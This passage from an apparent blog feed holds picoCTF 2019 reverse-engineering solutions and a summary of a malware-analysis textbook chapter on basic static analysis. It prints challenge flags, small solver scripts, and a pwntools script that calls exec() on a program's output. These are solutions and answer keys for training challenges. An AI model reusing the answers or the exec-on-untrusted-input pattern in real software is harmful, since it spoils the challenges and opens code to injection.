<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+88&gt;:</span> <span class="nf">mov</span> <span class="nb">eax</span><span class="p">,</span><span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">-</span><span class="mh">0x10</span><span class="p">]</span> <span class="c1">; eax = var1</span>
<span class="err">&lt;+91&gt;:</span> <span class="nf">lea</span> <span class="nb">ebx</span><span class="p">,[</span><span class="nb">edx</span><span class="o">+</span><span class="nb">eax</span><span class="o">*</span><span class="mi">1</span><span class="p">]</span> <span class="c1">; ebx = edx + eax * 1</span>
<span class="err">&lt;+94&gt;:</span> <span class="nf">mov</span> <span class="nb">eax</span><span class="p">,</span><span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">]</span> <span class="c1">; eax = var2</span>
<span class="err">&lt;+97&gt;:</span> <span class="nf">lea</span> <span class="nb">edx</span><span class="p">,[</span><span class="nb">eax</span><span class="o">+</span><span class="mh">0x1</span><span class="p">]</span> <span class="c1">; edx = eax + 1</span>
<span class="err">&lt;+100&gt;:</span> <span class="nf">mov</span> <span class="nb">eax</span><span class="p">,</span><span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">+</span><span class="mh">0x8</span><span class="p">]</span> <span class="c1">; eax = arg1</span>
<span class="err">&lt;+103&gt;:</span> <span class="nf">add</span> <span class="nb">eax</span><span class="p">,</span><span class="nb">edx</span> <span class="c1">; eax = eax[edx]</span>
<span class="err">&lt;+105&gt;:</span> <span class="nf">movzx</span> <span class="nb">eax</span><span class="p">,</span><span class="kt">BYTE</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">eax</span><span class="p">]</span>
<span class="err">&lt;+108&gt;:</span> <span class="nf">movsx</span> <span class="nb">edx</span><span class="p">,</span><span class="nb">al</span> <span class="c1">; edx = al</span>
</code></pre></div></div>

<p>Now we load EAX with var1, 0x247, and calculate EDX + EAX * 1; 0xFFF9 + 0x247 * 1; so EBX will contain 0x240.
Then we load EAX with var3, which is currently 1.
Then we load EDX with EAX + 1, which during this first iteration is 0x1 + 1 = 0x2.
Then we get the character at index EAX + 1 or index 2 for the first loop; so EDX will be <code class="language-plaintext highlighter-rouge">c</code>.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+111&gt;:</span> <span class="nf">mov</span> <span class="nb">ecx</span><span class="p">,</span><span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">]</span> <span class="c1">; ecx = var2</span>
<span class="err">&lt;+114&gt;:</span> <span class="nf">mov</span> <span class="nb">eax</span><span class="p">,</span><span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">+</span><span class="mh">0x8</span><span class="p">]</span> <span class="c1">; eax = arg1</span>
<span class="err">&lt;+117&gt;:</span> <span class="nf">add</span> <span class="nb">eax</span><span class="p">,</span><span class="nb">ecx</span> <span class="c1">; eax = eax[ecx]</span>
<span class="err">&lt;+119&gt;:</span> <span class="nf">movzx</span> <span class="nb">eax</span><span class="p">,</span><span class="kt">BYTE</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">eax</span><span class="p">]</span>
<span class="err">&lt;+122&gt;:</span> <span class="nf">movsx</span> <span class="nb">eax</span><span class="p">,</span><span class="nb">al</span>
<span class="err">&lt;+125&gt;:</span> <span class="nf">sub</span> <span class="nb">edx</span><span class="p">,</span><span class="nb">eax</span> <span class="c1">; edx -= eax</span>
<span class="err">&lt;+127&gt;:</span> <span class="nf">mov</span> <span class="nb">eax</span><span class="p">,</span><span class="nb">edx</span> <span class="c1">; eax = edx</span>
<span class="err">&lt;+129&gt;:</span> <span class="nf">add</span> <span class="nb">eax</span><span class="p">,</span><span class="nb">ebx</span> <span class="c1">; eax += edx</span>
</code></pre></div></div>

<p>In this block, we grab <code class="language-plaintext highlighter-rouge">arg1[var2]</code> which in the first iteration is <code class="language-plaintext highlighter-rouge">i</code> since var2 is 1.
Then we once again subtract two characters from each other.
This time we calculate <code class="language-plaintext highlighter-rouge">arg1[i+1] - arg1[i]</code> and load it into EDX.
Then we add the result to <code class="language-plaintext highlighter-rouge">EBX</code> which contains 0x240 from earlier and set that into EAX.</p>

<div class="language-nasm highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">&lt;+131&gt;:</span> <span class="nf">mov</span> <span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">-</span><span class="mh">0x10</span><span class="p">],</span><span class="nb">eax</span>
<span class="err">&lt;+134&gt;:</span> <span class="nf">add</span> <span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">],</span><span class="mh">0x1</span>
<span class="err">&lt;+138&gt;:</span> <span class="nf">mov</span> <span class="nb">eax</span><span class="p">,</span><span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">-</span><span class="mh">0xc</span><span class="p">]</span>
<span class="err">&lt;+141&gt;:</span> <span class="nf">sub</span> <span class="nb">eax</span><span class="p">,</span><span class="mh">0x1</span>
<span class="err">&lt;+144&gt;:</span> <span class="nf">cmp</span> <span class="kt">DWORD</span> <span class="nv">PTR</span> <span class="p">[</span><span class="nb">ebp</span><span class="o">-</span><span class="mh">0x8</span><span class="p">],</span><span class="nb">eax</span>
<span class="err">&lt;+147&gt;:</span> <span class="nf">jl</span> <span class="mh">0x530</span> <span class="o">&lt;</span><span class="nv">asm4</span><span class="o">+</span><span class="mi">51</span><span class="o">&gt;</span>
</code></pre></div></div>
<p>We then load var1 with the contents of EAX.
We also increment var3 by 1 and decrement var2 by 1 and check to see if var3 is less than var2.
If it is still we loop again.</p>

<p>So after this first iteration of the loop our stack will look like this:</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+----------------+
| picoCTF_c1373 | &lt;-- ebp + 0x8
+----------------+
| ret | &lt;-- ebp + 0x4
+----------------+
| old ebp | &lt;-- ebp
+----------------+
| | &lt;-- ebp - 0x4
+----------------+
| 0x2 | &lt;-- ebp - 0x8
+----------------+
| 0xd | &lt;-- ebp - 0xc
+----------------+
| 0x23a | &lt;-- ebp - 0x10
+----------------+
</code></pre></div></div>

<p>We can port the algorithm that this assembly does to Python with the below code snippet.
Running the code snippet will give us <code class="language-plaintext highlighter-rouge">0x1DE</code>; which if we submit to the pico site we get a success.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">arg1</span> <span class="o">=</span> <span class="s">"picoCTF_c1373"</span>
<span class="n">strlen</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">arg1</span><span class="p">)</span>
<span class="n">seed</span> <span class="o">=</span> <span class="mh">0x247</span>

<span class="n">x</span> <span class="o">=</span> <span class="mi">1</span>
<span class="k">while</span> <span class="n">x</span> <span class="o">&lt;</span> <span class="n">strlen</span> <span class="o">-</span> <span class="mi">1</span><span class="p">:</span>
 <span class="n">var1</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">arg1</span><span class="p">[</span><span class="n">x</span><span class="p">])</span> <span class="o">-</span> <span class="nb">ord</span><span class="p">(</span><span class="n">arg1</span><span class="p">[</span><span class="n">x</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
 <span class="n">aux</span> <span class="o">=</span> <span class="n">var1</span> <span class="o">+</span> <span class="n">seed</span> <span class="o">*</span> <span class="mi">1</span>
 <span class="n">var2</span> <span class="o">=</span> <span class="nb">ord</span><span class="p">(</span><span class="n">arg1</span><span class="p">[</span><span class="n">x</span><span class="o">+</span><span class="mi">1</span><span class="p">])</span> <span class="o">-</span> <span class="nb">ord</span><span class="p">(</span><span class="n">arg1</span><span class="p">[</span><span class="n">x</span><span class="p">])</span>
 <span class="n">var2</span> <span class="o">+=</span> <span class="n">aux</span>
 <span class="n">seed</span> <span class="o">=</span> <span class="n">var2</span>
 <span class="n">x</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">seed</span><span class="p">))</span>
</code></pre></div></div>

<h1 id="reverse_cipher">reverse_cipher</h1>

<h2 id="problem-12">Problem</h2>

<p>We have recovered a <a href="https://github.com/nadrojisk/CTF_Writeups/raw/master/2019-PicoCTF/rev/solved/reverse_cipher/rev">binary</a> and a <a href="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/reverse_cipher/rev_this">text file</a>. Can you reverse the flag. Its also found in /problems/reverse-cipher_1_2df63c1ee06e5ed37e35622b009f92ff on the shell server.</p>

<p>Hint: objdump and Gihdra are some tools that could assist with this</p>

<h2 id="solution-12">Solution</h2>

<p>Loading rev into IDA we can start to reverse engineer this binary.
IDA should automatically dump you into main for this binary, note it will not always be that way.
For the first code blocks that IDA generates we see that the binary tries to load two files <code class="language-plaintext highlighter-rouge">flag.txt</code> and <code class="language-plaintext highlighter-rouge">rev_this</code>.
If they cannot be opened error messages are printed to the screen.</p>

<p><img src="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/reverse_cipher/open_error.png" alt="" /></p>

<p>Otherwise, we will use the file pointer to the <code class="language-plaintext highlighter-rouge">flag.txt</code> file to read 1 element of 24 bytes from the file.
The total number of elements read is stored into <code class="language-plaintext highlighter-rouge">EBP-0x24</code> and compared with 0.
If zero bytes were read the program exits; otherwise the characters read are stored in <code class="language-plaintext highlighter-rouge">EBP-0x50</code>.
We then set a loop counter up and enter a loop that checks to see if the counter is less than or equal to 7.
Each iteration of the loop places a character from flag.txt into rev_this; since we run this 8 times this will place <code class="language-plaintext highlighter-rouge">picoCTF{</code> into <code class="language-plaintext highlighter-rouge">rev_this</code>.</p>

<p>After the loop, we change the loop variable from 7 to 8 and move on.</p>

<p><img src="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/reverse_cipher/first_7_chars.png" alt="" /></p>

<p>In the next loop, we check and see if the loop variable is less than or equal to 0x16.
Inside the loop, we load the current character of the array into a local variable.
Then we check and see if the loop counter is even or odd.
If it is odd we subtract 2 from the current character, otherwise, we add 5 to it.
Then we place this modified character into <code class="language-plaintext highlighter-rouge">rev_this</code>.
After we do this 15 times we leave the loop, place the last character of <code class="language-plaintext highlighter-rouge">flag.txt</code> into <code class="language-plaintext highlighter-rouge">rev_this</code> and cleanup.</p>

<p><img src="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/reverse_cipher/flag_chars.png" alt="" /></p>

<p>To decode this we will need to perform the opposite of the operations that we performed on each value.
Therefore, odd values will need to have 2 added to each character and evens 5 subtracted from each character.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span> <span class="n">counter</span><span class="p">,</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="s">"w1{1wq8b5.:/f.&lt;"</span><span class="p">):</span>
 <span class="k">if</span> <span class="ow">not</span> <span class="n">counter</span> <span class="o">%</span> <span class="mi">2</span><span class="p">:</span>
 <span class="k">print</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">x</span><span class="p">)</span> <span class="o">-</span> <span class="mi">5</span><span class="p">),</span> <span class="n">end</span><span class="o">=</span><span class="s">''</span><span class="p">)</span>
 <span class="k">else</span><span class="p">:</span>
 <span class="k">print</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="nb">ord</span><span class="p">(</span><span class="n">x</span><span class="p">)</span> <span class="o">+</span> <span class="mi">2</span><span class="p">),</span> <span class="n">end</span><span class="o">=</span><span class="s">''</span><span class="p">)</span>
</code></pre></div></div>

<p>Running the above script we get <code class="language-plaintext highlighter-rouge">r3v3rs3d0051a07</code>. Therefore, our flag is <code class="language-plaintext highlighter-rouge">picoCTF{r3v3rs3d0051a07}</code>.</p>

<h1 id="need-for-speed">Need For Speed</h1>

<h2 id="problem-13">Problem</h2>

<p>The name of the game is <a href="https://www.youtube.com/watch?v=8piqd2BWeGI">speed</a>. Are you quick enough to solve this problem and keep it above 50 mph? <a href="https://github.com/nadrojisk/CTF_Writeups/raw/master/2019-PicoCTF/rev/solved/need%20for%20speed/need-for-speed">need-for-speed</a>.</p>

<h2 id="solution-13">Solution</h2>

<p>If we run this program straight out of the box it will tell us we are not fast enough.</p>

<p><img src="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/need%20for%20speed/vanilla-run.png" alt="" /></p>

<p>Let’s open this binary open in IDA and see what is going on.</p>

<p><img src="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/need%20for%20speed/main.png" alt="" /></p>

<p>The main method is not too interesting as all the functionality has been refactored into functions that are called.
Let’s first check out <code class="language-plaintext highlighter-rouge">header</code>.</p>

<p><img src="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/need%20for%20speed/header.png" alt="" /></p>

<p>In <code class="language-plaintext highlighter-rouge">header</code> we see that it prints off the message <code class="language-plaintext highlighter-rouge">Keep this thing over 50 mph!</code> plus a loop that prints off multiple <code class="language-plaintext highlighter-rouge">=</code>s.
After the loop is done we print a newline character.</p>

<p><img src="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/need%20for%20speed/set_timer.png" alt="" /></p>

<p>The function that is called after <code class="language-plaintext highlighter-rouge">header</code> is <code class="language-plaintext highlighter-rouge">set_timer</code>.
In this function, we call <code class="language-plaintext highlighter-rouge">__sysv_signal</code> with a signal of 0xE meaning <a href="https://code.woboq.org/gcc/include/bits/signum-generic.h.html">SIGALRM</a> and a handler of <code class="language-plaintext highlighter-rouge">alarm_handler</code>.
<code class="language-plaintext highlighter-rouge">__sysv_signal</code> handles <a href="http://man7.org/linux/man-pages/man3/sysv_signal.3.html">signals</a> triggered by the operating system. In this case, we are setting up a handling routing for <code class="language-plaintext highlighter-rouge">SIGALRM</code>.
If the <code class="language-plaintext highlighter-rouge">__sysv_signal</code> function works properly we call <a href="http://man7.org/linux/man-pages/man2/alarm.2.html"><code class="language-plaintext highlighter-rouge">alarm</code></a> with 1 second for a timer.</p>

<p><img src="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/need%20for%20speed/alarm.png" alt="" /></p>

<p>When the 1-second timer goes off <code class="language-plaintext highlighter-rouge">alarm</code> triggers a SIGALRM which is handled by <code class="language-plaintext highlighter-rouge">alarm_handler</code>; which simply prints <code class="language-plaintext highlighter-rouge">Not fast enough. BOOM!</code> and exits the program.</p>

<p><img src="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/need%20for%20speed/alarm.png" alt="" /></p>

<p>After we exit this function we move on to <code class="language-plaintext highlighter-rouge">get_key</code>; which first prints that the key is being created and then move to <code class="language-plaintext highlighter-rouge">calculate_key</code>.</p>

<p><img src="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/need%20for%20speed/calc_key.png" alt="" /></p>

<p>This function starts a loop an 0xD8C2071C and counts down to 0xEC61038E.
Once at that value we return 0xEC61038E as the key.
This is where the program is failing to pass, as when we ran the program initially it prints <code class="language-plaintext highlighter-rouge">Creating key...</code> but not <code class="language-plaintext highlighter-rouge">Finished</code>.
Since our alarm only gives us 1 second to complete the program after it is set this loop is slowing us down enough to not allow the program to complete.</p>

<p>We have a few ways to solve this.</p>
<ol>
  <li>Patch the original binary to change 0xD8C2071C to 0xEC61038F so it only takes one iteration of the loop block</li>
  <li>Change the alarms parameter to be greater than 1 second.</li>
  <li>Run the program in a wrapper that suppresses signals such as GDB.</li>
</ol>

<p>The third solution is the easiest but not the most engaging, however, we have more challenges ahead of us so we will just do that.</p>

<p><img src="https://raw.githubusercontent.com/nadrojisk/CTF_Writeups/master/2019-PicoCTF/rev/solved/need%20for%20speed/gdb.png" alt="" /></p>

<p>Running the program with gdb we get this output; with our flag being <code class="language-plaintext highlighter-rouge">picoCTF{Good job keeping bus #236cb1c9 speeding along!}</code></p>

<h1 id="times-up">Time’s Up</h1>

<h2 id="problem-14">Problem</h2>

<p>Time waits for no one. Can you solve this before time runs out? <a href="https://github.com/nadrojisk/CTF_Writeups/raw/master/2019-PicoCTF/rev/solved/times%20up/times-up">times-up</a>, located in the directory at /problems/time-s-up_5_44ffbb55dd7707c9e13da8551841f850.</p>

<h2 id="solution-14">Solution</h2>

<p>If you run the program it will print out an equation that it wants you to solve.
This binary is similar to the one before in the sense that they are both timed.
Unfortunately, the amount of time required to solve the equation by hand is way more than the time allotted.
To solve this we can use a script that uses <a href="http://docs.pwntools.com/en/stable/">pwntools</a> a popular exploit development library.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">'./times-up'</span><span class="p">)</span>
<span class="n">formula</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="s">':'</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="n">strip</span><span class="p">()</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="n">formula</span><span class="p">)</span>
<span class="k">exec</span><span class="p">(</span><span class="s">'a='</span> <span class="o">+</span> <span class="n">formula</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">a</span><span class="p">))</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>This solution will need to be run on the pico server as it reads flag.txt.
Running this on the pico server we get <code class="language-plaintext highlighter-rouge">picoCTF{Gotta go fast. Gotta go FAST. #3c4b5166}</code>.</p>]]></content><author><name>Jordan Sosnowski</name></author><category term="ctf" /><category term="reverse engineering" /><category term="pico19" /><summary type="html"><![CDATA[In this post, I will be going over the challenges that I solved during picoCTF 2019. picoCTF is a capture the flag competition aimed at Middle School and High School students; it is created by students at Carnegie Mellon. It may be aimed for younger students but as I am still learning reverse engineering it was perfect for me. I participated with Auburn’s Ethical Hacking Club during the competition.]]></summary></entry><entry><title type="html">PMA Chapter One - Summary</title><link href="http://blog.nadrojisk.com/reverse_engineering/pma-1/" rel="alternate" type="text/html" title="PMA Chapter One - Summary" /><published>2019-12-21T20:39:00-06:00</published><updated>2019-12-21T20:39:00-06:00</updated><id>http://blog.nadrojisk.com/reverse_engineering/pma-1</id><content type="html" xml:base="http://blog.nadrojisk.com/reverse_engineering/pma-1/"><![CDATA[<p>In this post we are going to discuss chapter one of <a href="https://nostarch.com/malware">Practical Malware Analysis (PMA)</a>!
If you do not already own it I highly recommend it; as it is a fantastic resource for anyone interested in malware analysis, or reverse engineering!</p>

<p class="notice"><strong>NOTE</strong>: <em>PMA is focused on Windows executables.
Due to that many of the concepts are on Window API concepts, however most of the high level ideas can be applied for any operating system.</em></p>

<p>Chapter one of PMA is focused on <strong>basic static analysis</strong> of binary files.
For binary analysis there are two forms of analysis <strong>static</strong> and <strong>dynamic</strong>; each have a basic and advanced form.
<strong>Basic static analysis</strong> is analysis that only looks at the metadata that can be retrieved from an executable.
Files are <strong><em>NOT</em></strong> run during this step!
Nor are they disassembled.</p>

<h2 id="scanning-and-hashing">Scanning and Hashing</h2>

<p>A good first step in malware analysis is to see if the file you are analyzing has been seen before.
This step can be done before looking at any metadata stored within an executable.
Looking online to see if a malware that you have already has been analyzed can be extremely helpful.
<a href="https://www.virustotal.com/gui/home/upload">Virus Total</a> is a fantastic website that allows users to upload samples of files that they believe to be malicious.
However, be aware that posting malware samples online during an investigation can be counterproductive.
If the malware author becomes aware that someone is trying to analyze their malware they may try to change tactics…</p>

<p>Hashing is a common method to uniquely identify files and in particular malware.
A good hashing algorithm is a 1 -&gt; 1 function, that is, when data is sent into a hashing algorithm the output is unique to only that input data.
For example, if I were send a file into SHA1 its output should always be the same for that file, and no other file should be able to reproduce the output of my file, unless they are the same files.</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span><span class="nb">echo</span> <span class="s2">"hello"</span> | shasum
f572d396fae9206628714fb2ce00f72e94f2258f  -</code></pre></figure>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span><span class="nb">echo</span> <span class="s2">"Hello"</span> | shasum
1d229271928d3f9e2bb0375bd6ce5db6c6d348d9  -</code></pre></figure>

<h2 id="strings">Strings</h2>

<p>Searching through strings, a sequence of characters, in a program is a easy way to get hints about a programs purpose.
For example, if you searched through the strings of a program and found a bunch of IP addresses and domain names one may assume the program has some sort of networking functionality.
If you were to find verbs like “sleep”, “execute”, “download” you may assume that the program takes commands from a server.</p>

<p>The <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/strings">strings</a> utility can be used to find both ASCII and UNICODE strings found inside a program.
However, it is not installed by default on Windows.</p>

<p class="notice"><strong>NOTE</strong>: <em>By default strings, on Windows, ignores “strings” less than 3 characters.</em></p>

<p>An alternative tool to strings is <a href="https://github.com/fireeye/flare-floss">FLOSS</a>.
FLOSS is made by FireEye Labs Advanced Reverse Engineering or FLARE.
Other than just pulling basic strings out of a binary it attempts to find obfuscated strings using advanced static analysis.
FLOSS, by default, is much slower than strings as it attempts to find obfuscated strings.
However, there is a flag you can provide to not run any de-obfuscation.</p>

<h2 id="packed-binaries">Packed Binaries</h2>

<p>Malware writers want their malware to succeed; to do that they need to write malware that is difficult to analyze.
Therefore, it is common to see malware that is packed or obfuscated in some way.</p>

<p><strong>Obfuscated programs</strong> are programs that have had their internals manipulated in a way to deter or confused malware analysts.
Like <a href="https://github.com/xoreaxeaxeax/movfuscator">movfuscator</a>, one of the most horrendous obfuscators out there…</p>

<p><strong>Packing</strong> malware is a way to compress a program and can be considered a subset of obfuscation.
Malware that has been packed use a small wrapper program to decompress the packed file.
Therefore when looking at a packed file, most of the time you are looking at the unpacker not the actual malware.</p>

<p><a href="https://www.aldeid.com/wiki/PEiD">PEiD</a> is a fantastic tool to detect packed files.
Unfortunately, PEiD is no longer supported. Therefore, many newer packed malware will not be detected by it.</p>

<p>A quick way to see if a malware is packed is to look at the sections in the PE file.
If the normal PE sections are not there and have been replaced that is a good indicator.
For instance UPX, a common packer, will replace the sections with <em>UPX01, UPX02, UPX03</em>.
Another way of determining if a file is packed is by looking at the sections Raw Size and Virtual Size.
The <strong>raw size</strong> is a binary’s section’s size on the disk and the virtual size is the binary’s section’s size one loaded into memory.
If a virtual size is much larger than the raw size it is a good indicator that the file is packed.
Another indicator of a packed binary is if there are a small amount of readable strings when analyzing a binary.</p>

<h2 id="portable-executable-format">Portable Executable Format</h2>

<p>When programs are compiled on Windows they generate a portable executable (PE).
PE files are used by executable, DLLs, and object code.
If you are on a Linux based system you will get an executable and linking format file (ELF), on Mac you have Mach Object file formats (Mach-O).</p>

<p>Each section of the PE file contains information that is required for the Windows OS to correctly load and run the file.
A few examples of important information that can be pulled from PE headers are:</p>

<ul>
  <li>Compilation Date</li>
  <li>Imported Functions</li>
  <li>Exported Functions</li>
</ul>

<p><img src="/assets/images/posts/ch1/pe_format.jpg" alt="PE Format" class="align-center" /></p>

<h3 id="linked-libraries">Linked Libraries</h3>

<p>Windows binaries have a few ways of linking libraries. One can statically link, dynamically link, and link at runtime.</p>

<p><strong>Static linking</strong> takes all the code from the library and copies it into the executable.
It is the least used as a programs size will quickly balloon.
In statically linked files it is difficult to tell what functions were generated by the users and what were pulled from external libraries.</p>

<p><strong>Dynamic linking</strong> is the most common, at least with non-malicious programs.
With dynamic linking the operating system will search for the necessary libraries when the program is loaded.
If the libraries cannot be found the program will not run.
A downside to dynamic linking is that authors must ensure their users have the libraries that the program will use.</p>

<p><strong>Runtime linking</strong> is very uncommon in normal programs, but is rather common for malicious ones.
For runtime linking the program will request certain libraries when needed nad not at runtime like dynamic linking.
It is similar to dynamic linking in the way that the entire libraries code base is not compiled into the program.
However, with runtime an analyst can not see which function are being imported as easily with dynamic linking.
There are flags that can show a program is using runtime linking.
For runtime linking to work the program will need to use <em>LoadLibrary</em> and <em>GetProcAddress</em>.</p>

<h3 id="pe-file-headers-and-sections">PE File Headers and Sections</h3>

<p>The PE format is quite expansive and will not be covered in detail here.
However the most important sections in a PE File are the following:
<strong>.text</strong>: Contains the instructions the CPU will execute.</p>

<p><strong>.rdata</strong>: Read only data, usually contains the imports and exports.
Will also contain strings and constants.</p>

<p><strong>.data</strong>: Stores global data accessed by the program.</p>

<p><strong>.rsrc</strong>: Stores resources needed by the executable.</p>

<p>There are a multitude of programs out there to parse PE files and pull out important information.
<a href="http://wjradburn.com/software/">PEView</a> is an older tool. It’s very small and does not have as much bells as whistles as the other tools.
<a href="https://ntcore.com/?page_id=388">CFF Explorer</a> is another PE parser.
One of its benefits is that it contains a dependency walker for all the imported functions used by the binary.
The professional PE explorer (<a href="https://www.mzrst.com/">PPEE</a> or puppy) is also a fantastic tool.
It has all the benefits the CFF Explorer has but has support for plugins and tries to categorize the strings located in a binary.</p>

<h2 id="basic-static-analysis-programs">Basic Static Analysis Programs</h2>

<ul>
  <li><a href="http://wjradburn.com/software/">PEView</a></li>
  <li><a href="https://ntcore.com/?page_id=388">CFF Explorer</a></li>
  <li><a href="https://www.mzrst.com/">PPEE</a></li>
  <li><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/strings">Strings</a></li>
  <li><a href="https://github.com/fireeye/flare-floss">FLOSS</a></li>
  <li><a href="https://www.aldeid.com/wiki/PEiD">PEiD</a></li>
</ul>]]></content><author><name>Jordan Sosnowski</name></author><category term="reverse_engineering" /><category term="malware analysis" /><category term="practical malware analysis" /><category term="basic static analysis" /><category term="summary" /><summary type="html"><![CDATA[In this post we are going to discuss chapter one of Practical Malware Analysis (PMA)! If you do not already own it I highly recommend it; as it is a fantastic resource for anyone interested in malware analysis, or reverse engineering!]]></summary></entry></feed>